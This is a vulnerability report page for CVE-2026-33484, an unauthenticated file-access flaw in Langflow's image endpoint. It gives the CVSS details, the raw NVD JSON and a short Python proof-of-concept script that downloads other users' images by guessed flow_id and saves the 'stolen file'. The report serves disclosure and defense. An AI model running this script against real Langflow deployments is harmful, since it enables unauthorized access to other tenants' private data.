Security Vulnerability Report
中文
CVE-2026-33484 CVSS 7.5 HIGH

CVE-2026-33484

Published: 2026-03-24 14:16:31
Last Modified: 2026-03-24 19:20:14

Description

Langflow is a tool for building and deploying AI-powered agents and workflows. In versions 1.0.0 through 1.8.1, the `/api/v1/files/images/{flow_id}/{file_name}` endpoint serves image files without any authentication or ownership check. Any unauthenticated request with a known flow_id and file_name returns the image with HTTP 200. In a multi-tenant deployment, any attacker who can discover or guess a `flow_id` (UUIDs can be leaked through other API responses) can download any user's uploaded images without credentials. Version 1.9.0 contains a patch.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:langflow:langflow:*:*:*:*:*:*:*:* - VULNERABLE
Langflow 1.0.0
Langflow 1.8.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL vulnerable to IDOR target_base = "http://target-langflow-instance.com" endpoint = "/api/v1/files/images/{flow_id}/{file_name}" # Attacker discovered or guessed a valid flow_id and file_name # flow_id can sometimes be leaked via other API responses victim_flow_id = "550e8400-e29b-41d4-a716-446655440000" victim_file = "uploaded_diagram.png" url = target_base + endpoint.format(flow_id=victim_flow_id, file_name=victim_file) try: # Send unauthenticated request response = requests.get(url) if response.status_code == 200: print(f"[+] Exploit Successful! Downloaded file: {victim_file}") print(f"[+] Content-Type: {response.headers.get('Content-Type')}") # Save the stolen file with open(victim_file, "wb") as f: f.write(response.content) else: print(f"[-] Exploit Failed. Status Code: {response.status_code}") except Exception as e: print(f"[!] An error occurred: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33484", "sourceIdentifier": "[email protected]", "published": "2026-03-24T14:16:30.607", "lastModified": "2026-03-24T19:20:13.567", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Langflow is a tool for building and deploying AI-powered agents and workflows. In versions 1.0.0 through 1.8.1, the `/api/v1/files/images/{flow_id}/{file_name}` endpoint serves image files without any authentication or ownership check. Any unauthenticated request with a known flow_id and file_name returns the image with HTTP 200. In a multi-tenant deployment, any attacker who can discover or guess a `flow_id` (UUIDs can be leaked through other API responses) can download any user's uploaded images without credentials. Version 1.9.0 contains a patch."}, {"lang": "es", "value": "Langflow es una herramienta para construir y desplegar agentes y flujos de trabajo impulsados por IA. En las versiones 1.0.0 a 1.8.1, el endpoint `/api/v1/files/images/{flow_id}/{file_name}` sirve archivos de imagen sin ninguna autenticación ni verificación de propiedad. Cualquier solicitud no autenticada con un `flow_id` y `file_name` conocidos devuelve la imagen con HTTP 200. En un despliegue multi-inquilino, cualquier atacante que pueda descubrir o adivinar un 'flow_id' (los UUID pueden filtrarse a través de otras respuestas de la API) puede descargar las imágenes subidas por cualquier usuario sin credenciales. La versión 1.9.0 contiene un parche."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-284"}, {"lang": "en", "value": "CWE-639"}, {"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:langflow:langflow:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.0.0", "versionEndExcluding": "1.9.0", "matchCriteriaId": "2DFDBBCF-1947-4468-9C94-5CF03650A12D"}]}]}], "references": [{"url": "https://github.com/langflow-ai/langflow/security/advisories/GHSA-7grx-3xcx-2xv5", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/langflow-ai/langflow/security/advisories/GHSA-7grx-3xcx-2xv5", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}